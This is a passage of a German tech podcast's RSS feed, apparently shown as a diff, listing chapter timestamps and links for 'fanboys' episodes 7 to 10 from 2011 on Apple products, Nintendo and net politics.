+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Und Martin
+00:00:29 Polyurethan
+00:01:45 iOS 4.3
+00:02:03 Homesharing
+00:07:50 Keine Gesten
+00:09:27 Personal Hotspot
+00:09:58 Schnellerer Safari
+00:13:02 Apple TV "Apps"
+00:16:08 Xcode 4
+00:21:30 iPad 2
+00:22:17 Schlangenoptimierung
+00:23:15 Kamera
+00:24:02 Display
+00:25:35 PSA: 3DS nicht gebraucht kaufen
+00:26:36 iPad 2 Guided Tours
+00:27:52 Android Remote App Löschen
+00:29:17 Nokia verkauft Qt
+00:29:39 Turtles all the way down
+00:30:21 Business Kasper
+00:30:38 Charlie Sheen
+00:32:43 Audiokommentar von Sebastian
+00:35:33 Audiokommentar von Korbi
+00:40:44 Hape will Vorratsdaten
+00:42:01 Krings will Sperren
+00:47:53 Post-Privacy Spacken
+00:52:36 The collected short stories of Roald Dahl
+00:55:52 Inside Job
+01:02:16 Tiny Wings
+01:05:12 Inside a Star-filled Sky
+01:09:53 Wormworld Saga App
+01:13:15 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:29</td><td><a href="http://de.wikipedia.org/wiki/Polyurethane" target="_blank">Polyurethan</td></tr><tr><td>00:01:45</td><td><a href="http://www.apple.com/ios/" target="_blank">iOS 4.3</td></tr><tr><td>00:02:03</td><td><a href="http://www.apple.com/ios/" target="_blank">Homesharing</td></tr><tr><td>00:07:50</td><td>Keine Gesten</td></tr><tr><td>00:09:27</td><td><a href="http://kre.is/59Gp" target="_blank">Personal Hotspot</td></tr><tr><td>00:09:58</td><td>Schnellerer Safari</td></tr><tr><td>00:13:02</td><td><a href="http://kre.is/58kz" target="_blank">Apple TV "Apps"</td></tr><tr><td>00:16:08</td><td><a href="http://developer.apple.com/tools/xcode/" target="_blank">Xcode 4</td></tr><tr><td>00:21:30</td><td>iPad 2</td></tr><tr><td>00:22:17</td><td>Schlangenoptimierung</td></tr><tr><td>00:23:15</td><td><a href="http://www.cnn.com/2011/TECH/gaming.gadgets/03/04/new.ipad.camera/index.html" target="_blank">Kamera</td></tr><tr><td>00:24:02</td><td><a href="http://daringfireball.net/2011/03/the_ipad_2" target="_blank">Display</td></tr><tr><td>00:25:35</td><td><a href="http://www.reghardware.com/2011/03/10/3ds_update_bricks_the_hacked/" target="_blank">PSA: 3DS nicht gebraucht kaufen</td></tr><tr><td>00:26:36</td><td><a href="http://www.apple.com/ipad/guided-tours/" target="_blank">iPad 2 Guided Tours</td></tr><tr><td>00:27:52</td><td><a href="http://arstechnica.com/gadgets/news/2011/03/google-using-remote-kill-switch-to-swat-android-malware-apps.ars" target="_blank">Android Remote App Löschen</td></tr><tr><td>00:29:17</td><td><a href="http://www.engadget.com/2011/03/07/nokia-sells-qt-licensing-and-services-business-to-digia/" target="_blank">Nokia verkauft Qt</td></tr><tr><td>00:29:39</td><td><a href="http://en.wikipedia.org/wiki/Turtles_all_the_way_down" target="_blank">Turtles all the way down</td></tr><tr><td>00:30:21</td><td><a href="http://www.youtube.com/watch?v=R-O3V_8Q_vU" target="_blank">Business Kasper</td></tr><tr><td>00:30:38</td><td><a href="http://www.youtube.com/watch?v=9QS0q3mGPGg" target="_blank">Charlie Sheen</td></tr><tr><td>00:32:43</td><td><a href="http://audioboo.fm/boos/298292-fanb0ys-kommentar" target="_blank">Audiokommentar von Sebastian</td></tr><tr><td>00:35:33</td><td><a href="http://audioboo.fm/boos/295796-macbook-air-macbook-pro" target="_blank">Audiokommentar von Korbi</td></tr><tr><td>00:40:44</td><td><a href="http://www.heise.de/newsticker/meldung/Neuer-Innenminister-will-rasch-neue-Vorratsdatenspeicherung-1202623.html" target="_blank">Hape will Vorratsdaten</td></tr><tr><td>00:42:01</td><td><a href="https://www.youtube.com/watch?v=hsZoKzuI1c8" target="_blank">Krings will Sperren</td></tr><tr><td>00:47:53</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,749831,00.html" target="_blank">Post-Privacy Spacken</td></tr><tr><td>00:52:36</td><td><a href="http://www.amazon.de/Collected-Short-Stories-Roald-Dahl/dp/0140158073" target="_blank">The collected short stories of Roald Dahl</td></tr><tr><td>00:55:52</td><td><a href="http://www.sonyclassics.com/insidejob/" target="_blank">Inside Job</td></tr><tr><td>01:02:16</td><td><a href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" target="_blank">Tiny Wings</td></tr><tr><td>01:05:12</td><td><a href="http://insideastarfilledsky.net/" target="_blank">Inside a Star-filled Sky</td></tr><tr><td>01:09:53</td><td><a href="http://www.kickstarter.com/projects/daniellieske/the-wormworld-saga-app?ref=category" target="_blank">Wormworld Saga App</td></tr><tr><td>01:13:15</td><td><a href="http://www.youtube.com/watch?v=tSsWr_YMzgU" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:29" title="Polyurethan" href="http://de.wikipedia.org/wiki/Polyurethane" />
+ <sc:chapter start="00:01:45" title="iOS 4.3" href="http://www.apple.com/ios/" />
+ <sc:chapter start="00:02:03" title="Homesharing" href="http://www.apple.com/ios/" />
+ <sc:chapter start="00:07:50" title="Keine Gesten" />
+ <sc:chapter start="00:09:27" title="Personal Hotspot" href="http://kre.is/59Gp" />
+ <sc:chapter start="00:09:58" title="Schnellerer Safari" />
+ <sc:chapter start="00:13:02" title="Apple TV &amp;quot;Apps&amp;quot;" href="http://kre.is/58kz" />
+ <sc:chapter start="00:16:08" title="Xcode 4" href="http://developer.apple.com/tools/xcode/" />
+ <sc:chapter start="00:21:30" title="iPad 2" />
+ <sc:chapter start="00:22:17" title="Schlangenoptimierung" />
+ <sc:chapter start="00:23:15" title="Kamera" href="http://www.cnn.com/2011/TECH/gaming.gadgets/03/04/new.ipad.camera/index.html" />
+ <sc:chapter start="00:24:02" title="Display" href="http://daringfireball.net/2011/03/the_ipad_2" />
+ <sc:chapter start="00:25:35" title="PSA: 3DS nicht gebraucht kaufen" href="http://www.reghardware.com/2011/03/10/3ds_update_bricks_the_hacked/" />
+ <sc:chapter start="00:26:36" title="iPad 2 Guided Tours" href="http://www.apple.com/ipad/guided-tours/" />
+ <sc:chapter start="00:27:52" title="Android Remote App Löschen" href="http://arstechnica.com/gadgets/news/2011/03/google-using-remote-kill-switch-to-swat-android-malware-apps.ars" />
+ <sc:chapter start="00:29:17" title="Nokia verkauft Qt" href="http://www.engadget.com/2011/03/07/nokia-sells-qt-licensing-and-services-business-to-digia/" />
+ <sc:chapter start="00:29:39" title="Turtles all the way down" href="http://en.wikipedia.org/wiki/Turtles_all_the_way_down" />
+ <sc:chapter start="00:30:21" title="Business Kasper" href="http://www.youtube.com/watch?v=R-O3V_8Q_vU" />
+ <sc:chapter start="00:30:38" title="Charlie Sheen" href="http://www.youtube.com/watch?v=9QS0q3mGPGg" />
+ <sc:chapter start="00:32:43" title="Audiokommentar von Sebastian" href="http://audioboo.fm/boos/298292-fanb0ys-kommentar" />
+ <sc:chapter start="00:35:33" title="Audiokommentar von Korbi" href="http://audioboo.fm/boos/295796-macbook-air-macbook-pro" />
+ <sc:chapter start="00:40:44" title="Hape will Vorratsdaten" href="http://www.heise.de/newsticker/meldung/Neuer-Innenminister-will-rasch-neue-Vorratsdatenspeicherung-1202623.html" />
+ <sc:chapter start="00:42:01" title="Krings will Sperren" href="https://www.youtube.com/watch?v=hsZoKzuI1c8" />
+ <sc:chapter start="00:47:53" title="Post-Privacy Spacken" href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,749831,00.html" />
+ <sc:chapter start="00:52:36" title="The collected short stories of Roald Dahl" href="http://www.amazon.de/Collected-Short-Stories-Roald-Dahl/dp/0140158073" />
+ <sc:chapter start="00:55:52" title="Inside Job" href="http://www.sonyclassics.com/insidejob/" />
+ <sc:chapter start="01:02:16" title="Tiny Wings" href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" />
+ <sc:chapter start="01:05:12" title="Inside a Star-filled Sky" href="http://insideastarfilledsky.net/" />
+ <sc:chapter start="01:09:53" title="Wormworld Saga App" href="http://www.kickstarter.com/projects/daniellieske/the-wormworld-saga-app?ref=category" />
+ <sc:chapter start="01:13:15" title="Rausschmeisser" href="http://www.youtube.com/watch?v=tSsWr_YMzgU" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#10:" />
+ </item>
+ <item>
+ <title>Episode #9 - Box of Puppies</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Box of Puppies</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN009.mp3" length="55526294" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN009</guid>
+ <pubDate>Thu, 03 Mar 2011 23:03:27 +0100</pubDate>
+ <itunes:duration>01:55:40</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:10 Und Martin
+00:00:21 Oftmals falsch Fanboys
+00:04:37 iPad 2 Event
+00:06:47 iBooks
+00:07:37 Post-PC
+00:13:17 Die inneren Werte
+00:14:28 Kameras
+00:16:28 Facetime
+00:18:55 Photobooth
+00:20:36 Haptik
+00:22:03 Schwarz und Weiß
+00:22:58 Smart Cover
+00:28:52 HDMI Out
+00:31:43 iOS 4.3
+00:36:13 iMovie fürs iPad
+00:41:17 Garageband fürs iPad
+00:49:53 200 Mio Accounts
+00:52:41 iPad 2 Fazit
+00:58:42 Kommentar von Roy
+01:07:29 Kommenar von Nils
+01:12:03 GDC Nintendo Keynote
+01:13:00 Mario 3DS
+01:16:01 Zelda Skyward Sword Trailer
+01:18:48 3DS Netflix
+01:19:24 GameGear und Turbografx
+01:19:55 Onkel Smu vs 3DS
+01:21:35 Flirtgewitter
+01:25:56 Cave Story
+01:27:14 für Mac
+01:27:22 auf Englisch patchen
+01:30:55 Beyond Good and Evil HD
+01:34:32 Bayerntrojaner Praxisbericht
+01:38:32 Neuer Innenminister ist neu
+01:51:53 Alternativlos zum Gutti
+01:53:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:21</td><td>Oftmals falsch Fanboys</td></tr><tr><td>00:04:37</td><td><a href="http://www.apple.com/apple-events/march-2011/" target="_blank">iPad 2 Event</td></tr><tr><td>00:06:47</td><td>iBooks</td></tr><tr><td>00:07:37</td><td>Post-PC</td></tr><tr><td>00:13:17</td><td><a href="http://www.apple.com/ipad/specs/" target="_blank">Die inneren Werte</td></tr><tr><td>00:14:28</td><td><a href="http://www.apple.com/ipad/features/" target="_blank">Kameras</td></tr><tr><td>00:16:28</td><td><a href="http://www.apple.com/ipad/built-in-apps/" target="_blank">Facetime</td></tr><tr><td>00:18:55</td><td><a href="http://www.apple.com/ipad/built-in-apps/" target="_blank">Photobooth</td></tr><tr><td>00:20:36</td><td>Haptik</td></tr><tr><td>00:22:03</td><td><a href="http://www.apple.com/ipad/features/" target="_blank">Schwarz und Weiß</td></tr><tr><td>00:22:58</td><td><a href="http://www.apple.com/ipad/features/#video-incoming-swap-video" target="_blank">Smart Cover</td></tr><tr><td>00:28:52</td><td><a href="http://www.apple.com/ipad/features/mirroring.html" target="_blank">HDMI Out</td></tr><tr><td>00:31:43</td><td><a href="http://www.apple.com/ios/" target="_blank">iOS 4.3</td></tr><tr><td>00:36:13</td><td><a href="http://www.apple.com/ipad/from-the-app-store/imovie.html" target="_blank">iMovie fürs iPad</td></tr><tr><td>00:41:17</td><td><a href="http://www.apple.com/ipad/from-the-app-store/garageband.html" target="_blank">Garageband fürs iPad</td></tr><tr><td>00:49:53</td><td>200 Mio Accounts</td></tr><tr><td>00:52:41</td><td>iPad 2 Fazit</td></tr><tr><td>00:58:42</td><td><a href="http://audioboo.fm/boos/290923-fanb0ys-audio-nachricht" target="_blank">Kommentar von Roy</td></tr><tr><td>01:07:29</td><td><a href="http://audioboo.fm/boos/292916-ipad-vs-macbook-vs-macbookair-vs-hackintosh" target="_blank">Kommenar von Nils</td></tr><tr><td>01:12:03</td><td>GDC Nintendo Keynote</td></tr><tr><td>01:13:00</td><td><a href="http://www.joystiq.com/2011/03/02/super-mario-3ds/" target="_blank">Mario 3DS</td></tr><tr><td>01:16:01</td><td><a href="https://www.youtube.com/watch?v=daoOSfetFiI" target="_blank">Zelda Skyward Sword Trailer</td></tr><tr><td>01:18:48</td><td>3DS Netflix</td></tr><tr><td>01:19:24</td><td>GameGear und Turbografx</td></tr><tr><td>01:19:55</td><td><a href="http://www.spieleveteranen.de/archives/532" target="_blank">Onkel Smu vs 3DS</td></tr><tr><td>01:21:35</td><td><a href="http://www.youtube.com/watch?v=liy-hy5RPYw" target="_blank">Flirtgewitter</td></tr><tr><td>01:25:56</td><td><a href="http://www.cavestory.org/" target="_blank">Cave Story</td></tr><tr><td>01:27:14</td><td><a href="http://www.nakiwo.com/blog/software" target="_blank">für Mac</td></tr><tr><td>01:27:22</td><td><a href="http://www.wctc.net/~luvmimac/cavestory/" target="_blank">auf Englisch patchen</td></tr><tr><td>01:30:55</td><td><a href="http://en.wikipedia.org/wiki/Beyond_Good_%26_Evil" target="_blank">Beyond Good and Evil HD</td></tr><tr><td>01:34:32</td><td><a href="http://www.spiegel.de/spiegel/0,1518,748110,00.html" target="_blank">Bayerntrojaner Praxisbericht</td></tr><tr><td>01:38:32</td><td>Neuer Innenminister ist neu</td></tr><tr><td>01:51:53</td><td><a href="http://www.alternativlos.org/13/" target="_blank">Alternativlos zum Gutti</td></tr><tr><td>01:53:30</td><td><a href="http://jonathanmann.bandcamp.com/track/fans-of-apple" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:21" title="Oftmals falsch Fanboys" />
+ <sc:chapter start="00:04:37" title="iPad 2 Event" href="http://www.apple.com/apple-events/march-2011/" />
+ <sc:chapter start="00:06:47" title="iBooks" />
+ <sc:chapter start="00:07:37" title="Post-PC" />
+ <sc:chapter start="00:13:17" title="Die inneren Werte" href="http://www.apple.com/ipad/specs/" />
+ <sc:chapter start="00:14:28" title="Kameras" href="http://www.apple.com/ipad/features/" />
+ <sc:chapter start="00:16:28" title="Facetime" href="http://www.apple.com/ipad/built-in-apps/" />
+ <sc:chapter start="00:18:55" title="Photobooth" href="http://www.apple.com/ipad/built-in-apps/" />
+ <sc:chapter start="00:20:36" title="Haptik" />
+ <sc:chapter start="00:22:03" title="Schwarz und Weiß" href="http://www.apple.com/ipad/features/" />
+ <sc:chapter start="00:22:58" title="Smart Cover" href="http://www.apple.com/ipad/features/#video-incoming-swap-video" />
+ <sc:chapter start="00:28:52" title="HDMI Out" href="http://www.apple.com/ipad/features/mirroring.html" />
+ <sc:chapter start="00:31:43" title="iOS 4.3" href="http://www.apple.com/ios/" />
+ <sc:chapter start="00:36:13" title="iMovie fürs iPad" href="http://www.apple.com/ipad/from-the-app-store/imovie.html" />
+ <sc:chapter start="00:41:17" title="Garageband fürs iPad" href="http://www.apple.com/ipad/from-the-app-store/garageband.html" />
+ <sc:chapter start="00:49:53" title="200 Mio Accounts" />
+ <sc:chapter start="00:52:41" title="iPad 2 Fazit" />
+ <sc:chapter start="00:58:42" title="Kommentar von Roy" href="http://audioboo.fm/boos/290923-fanb0ys-audio-nachricht" />
+ <sc:chapter start="01:07:29" title="Kommenar von Nils" href="http://audioboo.fm/boos/292916-ipad-vs-macbook-vs-macbookair-vs-hackintosh" />
+ <sc:chapter start="01:12:03" title="GDC Nintendo Keynote" />
+ <sc:chapter start="01:13:00" title="Mario 3DS" href="http://www.joystiq.com/2011/03/02/super-mario-3ds/" />
+ <sc:chapter start="01:16:01" title="Zelda Skyward Sword Trailer" href="https://www.youtube.com/watch?v=daoOSfetFiI" />
+ <sc:chapter start="01:18:48" title="3DS Netflix" />
+ <sc:chapter start="01:19:24" title="GameGear und Turbografx" />
+ <sc:chapter start="01:19:55" title="Onkel Smu vs 3DS" href="http://www.spieleveteranen.de/archives/532" />
+ <sc:chapter start="01:21:35" title="Flirtgewitter" href="http://www.youtube.com/watch?v=liy-hy5RPYw" />
+ <sc:chapter start="01:25:56" title="Cave Story" href="http://www.cavestory.org/" />
+ <sc:chapter start="01:27:14" title="für Mac" href="http://www.nakiwo.com/blog/software" />
+ <sc:chapter start="01:27:22" title="auf Englisch patchen" href="http://www.wctc.net/~luvmimac/cavestory/" />
+ <sc:chapter start="01:30:55" title="Beyond Good and Evil HD" href="http://en.wikipedia.org/wiki/Beyond_Good_%26_Evil" />
+ <sc:chapter start="01:34:32" title="Bayerntrojaner Praxisbericht" href="http://www.spiegel.de/spiegel/0,1518,748110,00.html" />
+ <sc:chapter start="01:38:32" title="Neuer Innenminister ist neu" />
+ <sc:chapter start="01:51:53" title="Alternativlos zum Gutti" href="http://www.alternativlos.org/13/" />
+ <sc:chapter start="01:53:30" title="Rausschmeisser" href="http://jonathanmann.bandcamp.com/track/fans-of-apple" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#9:" />
+ </item>
+ <item>
+ <title>Episode #8 - Der mit den vielen Fanboys</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Der mit den vielen Fanboys</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN008.mp3" length="53803257" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN008</guid>
+ <pubDate>Thu, 24 Feb 2011 22:56:44 +0100</pubDate>
+ <itunes:duration>01:52:05</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:11 und Tim
+00:00:13 und Martin
+00:02:12 Mac OS X Lion
+00:04:46 Mail 5
+00:06:49 Mac OS X Server
+00:10:34 Autosave und Versioning
+00:21:02 Resume
+00:25:07 Seeds über den Mac App Store?!
+00:30:44 Airdrop
+00:33:38 MobileMe nicht mehr kaufbar
+00:39:17 iPad 2 Event
+00:42:07 Neue Macsbooks Pros
+00:55:00 iPad Midi
+00:57:34 FaceTime
+01:02:13 Facebook vs Google
+01:03:10 Google vs Facebook
+01:05:05 Windows Phone 7 Update Schmerzen
+01:07:32 Apple Werbespot
+01:10:06 Bangen um WebOS
+01:18:05 Xoom mit/ohne Flash
+01:20:14 Internet-Enquete vs Adhocracy
+01:25:21 Cyber-Abwehrzentrum
+01:26:44 Assange nach Schweden oder auch erstmal nicht
+01:28:16 Kommentar von Sascha aus Altenstadt
+01:34:14 Kommentar von Christian aus Trier
+01:38:17 Gruß an Patrick
+01:38:37 Minecraft Dokumentation
+01:43:04 Reformat the Planet
+01:43:27 flattr Link der Woche
+01:46:56 Der Lautsprecher
+01:48:42 Winkewinke
+01:49:45 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/timpritlove" target="_blank">und Tim</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:12</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Mac OS X Lion</td></tr><tr><td>00:04:46</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Mail 5</td></tr><tr><td>00:06:49</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Mac OS X Server</td></tr><tr><td>00:10:34</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Autosave und Versioning</td></tr><tr><td>00:21:02</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Resume</td></tr><tr><td>00:25:07</td><td>Seeds über den Mac App Store?!</td></tr><tr><td>00:30:44</td><td><a href="http://www.apple.com/macosx/lion/" target="_blank">Airdrop</td></tr><tr><td>00:33:38</td><td><a href="http://www.appleinsider.com/articles/11/02/24/apple_discontinues_sale_of_mobileme_retail_boxes_as_overhaul_looms.html" target="_blank">MobileMe nicht mehr kaufbar</td></tr><tr><td>00:39:17</td><td><a href="http://www.loopinsight.com/2011/02/23/apple-announces-ipad-2-event-for-march-2/" target="_blank">iPad 2 Event</td></tr><tr><td>00:42:07</td><td><a href="http://www.apple.com/macbookpro/" target="_blank">Neue Macsbooks Pros</td></tr><tr><td>00:55:00</td><td><a href="http://www.engadget.com/2011/02/07/ipad-midi-hardware-options-detailed-awesome-video/" target="_blank">iPad Midi</td></tr><tr><td>00:57:34</td><td><a href="http://itunes.apple.com/de/app/facetime/id414307850?mt=12" target="_blank">FaceTime</td></tr><tr><td>01:02:13</td><td><a href="http://networkeffect.allthingsd.com/20110210/facebook-moves-to-disallow-apps-from-running-google-ads/" target="_blank">Facebook vs Google</td></tr><tr><td>01:03:10</td><td><a href="http://www.engadget.com/2011/02/22/google-disables-contact-sync-in-facebook-for-android-only-nexus/" target="_blank">Google vs Facebook</td></tr><tr><td>01:05:05</td><td><a href="http://arstechnica.com/microsoft/news/2011/02/everything-that-can-go-wrong-with-windows-phone-7-update-does.ars" target="_blank">Windows Phone 7 Update Schmerzen</td></tr><tr><td>01:07:32</td><td><a href="http://www.youtube.com/watch?v=Bji8AVf_cXM" target="_blank">Apple Werbespot</td></tr><tr><td>01:10:06</td><td>Bangen um WebOS</td></tr><tr><td>01:18:05</td><td><a href="http://www.appleoutsider.com/2011/02/22/flash/" target="_blank">Xoom mit/ohne Flash</td></tr><tr><td>01:20:14</td><td><a href="http://www.netzpolitik.org/tag/adhocracy/" target="_blank">Internet-Enquete vs Adhocracy</td></tr><tr><td>01:25:21</td><td><a href="http://www.heise.de/newsticker/meldung/Bundesregierung-beschliesst-Cyber-Sicherheitsstrategie-1195666.html" target="_blank">Cyber-Abwehrzentrum</td></tr><tr><td>01:26:44</td><td><a href="http://www.tagesschau.de/ausland/assangewikileaks100.html" target="_blank">Assange nach Schweden oder auch erstmal nicht</td></tr><tr><td>01:28:16</td><td><a href="http://audioboo.fm/boos/284638-firefly" target="_blank">Kommentar von Sascha aus Altenstadt</td></tr><tr><td>01:34:14</td><td><a href="http://audioboo.fm/boos/284495-lob-und-probleme-letzte-hoffnung" target="_blank">Kommentar von Christian aus Trier</td></tr><tr><td>01:38:17</td><td><a href="http://twitter.com/jollyjinx" target="_blank">Gruß an Patrick</td></tr><tr><td>01:38:37</td><td><a href="http://www.2playerproductions.com/projects/minecraft" target="_blank">Minecraft Dokumentation</td></tr><tr><td>01:43:04</td><td><a href="http://www.penny-arcade.com/patv/reformat-the-planet/" target="_blank">Reformat the Planet</td></tr><tr><td>01:43:27</td><td><a href="http://flattr.com/thing/128135/LS000-Der-Lautsprecher" target="_blank">flattr Link der Woche</td></tr><tr><td>01:46:56</td><td><a href="http://tim.geekheim.de/2011/02/04/der-lautsprecher/" target="_blank">Der Lautsprecher</td></tr><tr><td>01:48:42</td><td><a href="http://jonathanmann.bandcamp.com/track/the-iphone-4-antenna-song" target="_blank">Winkewinke</td></tr><tr><td>01:49:45</td><td><a href="http://www.youtube.com/watch?v=SenHQos3g0s" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="und Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:12" title="Mac OS X Lion" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:04:46" title="Mail 5" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:06:49" title="Mac OS X Server" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:10:34" title="Autosave und Versioning" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:21:02" title="Resume" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:25:07" title="Seeds über den Mac App Store?!" />
+ <sc:chapter start="00:30:44" title="Airdrop" href="http://www.apple.com/macosx/lion/" />
+ <sc:chapter start="00:33:38" title="MobileMe nicht mehr kaufbar" href="http://www.appleinsider.com/articles/11/02/24/apple_discontinues_sale_of_mobileme_retail_boxes_as_overhaul_looms.html" />
+ <sc:chapter start="00:39:17" title="iPad 2 Event" href="http://www.loopinsight.com/2011/02/23/apple-announces-ipad-2-event-for-march-2/" />
+ <sc:chapter start="00:42:07" title="Neue Macsbooks Pros" href="http://www.apple.com/macbookpro/" />
+ <sc:chapter start="00:55:00" title="iPad Midi" href="http://www.engadget.com/2011/02/07/ipad-midi-hardware-options-detailed-awesome-video/" />
+ <sc:chapter start="00:57:34" title="FaceTime" href="http://itunes.apple.com/de/app/facetime/id414307850?mt=12" />
+ <sc:chapter start="01:02:13" title="Facebook vs Google" href="http://networkeffect.allthingsd.com/20110210/facebook-moves-to-disallow-apps-from-running-google-ads/" />
+ <sc:chapter start="01:03:10" title="Google vs Facebook" href="http://www.engadget.com/2011/02/22/google-disables-contact-sync-in-facebook-for-android-only-nexus/" />
+ <sc:chapter start="01:05:05" title="Windows Phone 7 Update Schmerzen" href="http://arstechnica.com/microsoft/news/2011/02/everything-that-can-go-wrong-with-windows-phone-7-update-does.ars" />
+ <sc:chapter start="01:07:32" title="Apple Werbespot" href="http://www.youtube.com/watch?v=Bji8AVf_cXM" />
+ <sc:chapter start="01:10:06" title="Bangen um WebOS" />
+ <sc:chapter start="01:18:05" title="Xoom mit/ohne Flash" href="http://www.appleoutsider.com/2011/02/22/flash/" />
+ <sc:chapter start="01:20:14" title="Internet-Enquete vs Adhocracy" href="http://www.netzpolitik.org/tag/adhocracy/" />
+ <sc:chapter start="01:25:21" title="Cyber-Abwehrzentrum" href="http://www.heise.de/newsticker/meldung/Bundesregierung-beschliesst-Cyber-Sicherheitsstrategie-1195666.html" />
+ <sc:chapter start="01:26:44" title="Assange nach Schweden oder auch erstmal nicht" href="http://www.tagesschau.de/ausland/assangewikileaks100.html" />
+ <sc:chapter start="01:28:16" title="Kommentar von Sascha aus Altenstadt" href="http://audioboo.fm/boos/284638-firefly" />
+ <sc:chapter start="01:34:14" title="Kommentar von Christian aus Trier" href="http://audioboo.fm/boos/284495-lob-und-probleme-letzte-hoffnung" />
+ <sc:chapter start="01:38:17" title="Gruß an Patrick" href="http://twitter.com/jollyjinx" />
+ <sc:chapter start="01:38:37" title="Minecraft Dokumentation" href="http://www.2playerproductions.com/projects/minecraft" />
+ <sc:chapter start="01:43:04" title="Reformat the Planet" href="http://www.penny-arcade.com/patv/reformat-the-planet/" />
+ <sc:chapter start="01:43:27" title="flattr Link der Woche" href="http://flattr.com/thing/128135/LS000-Der-Lautsprecher" />
+ <sc:chapter start="01:46:56" title="Der Lautsprecher" href="http://tim.geekheim.de/2011/02/04/der-lautsprecher/" />
+ <sc:chapter start="01:48:42" title="Winkewinke" href="http://jonathanmann.bandcamp.com/track/the-iphone-4-antenna-song" />
+ <sc:chapter start="01:49:45" title="Rausschmeisser" href="http://www.youtube.com/watch?v=SenHQos3g0s" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#8:" />
+ </item>
+ <item>
+ <title>Episode #7 - Drei Scheiben Leberkäse</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Drei Scheiben Leberkäse</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN007.mp3" length="35879040" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN007</guid>
+ <pubDate>Fri, 18 Feb 2011 20:23:47 +0100</pubDate>
+ <itunes:duration>01:14:44</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:09 Und Martin
+00:03:07 Periodicals in iBooks
+00:04:43 The Daily Indexed
+00:06:31 In-App-Kaufs-Zwangs-Bombe
+00:10:07 Google One-Pass
+00:11:35 Motorola Xoom Preis-Wirrwarr
+00:16:12 Inside Wikileaks
+00:26:25 Killzone Stachus
+00:27:58 Valentins Helghast
+00:30:48 Watson spielt Jeopardy (Vorsicht Spoiler!)
+00:38:51 Hörerkommentar von Marcel
+00:42:25 Crossplattformentwicklung
+00:50:14 Ist WebOS noch zu retten?
+00:56:46 Medienkonsumempfehlungen
+00:57:31 News Wipe
+00:57:41 Screen Wipe
+00:57:58 Dead Set
+01:00:54 Misfits auf Youtube
+01:01:53 Between two ferns
+01:08:24 Cat Physics
+01:12:26 Rausschmeisser
+
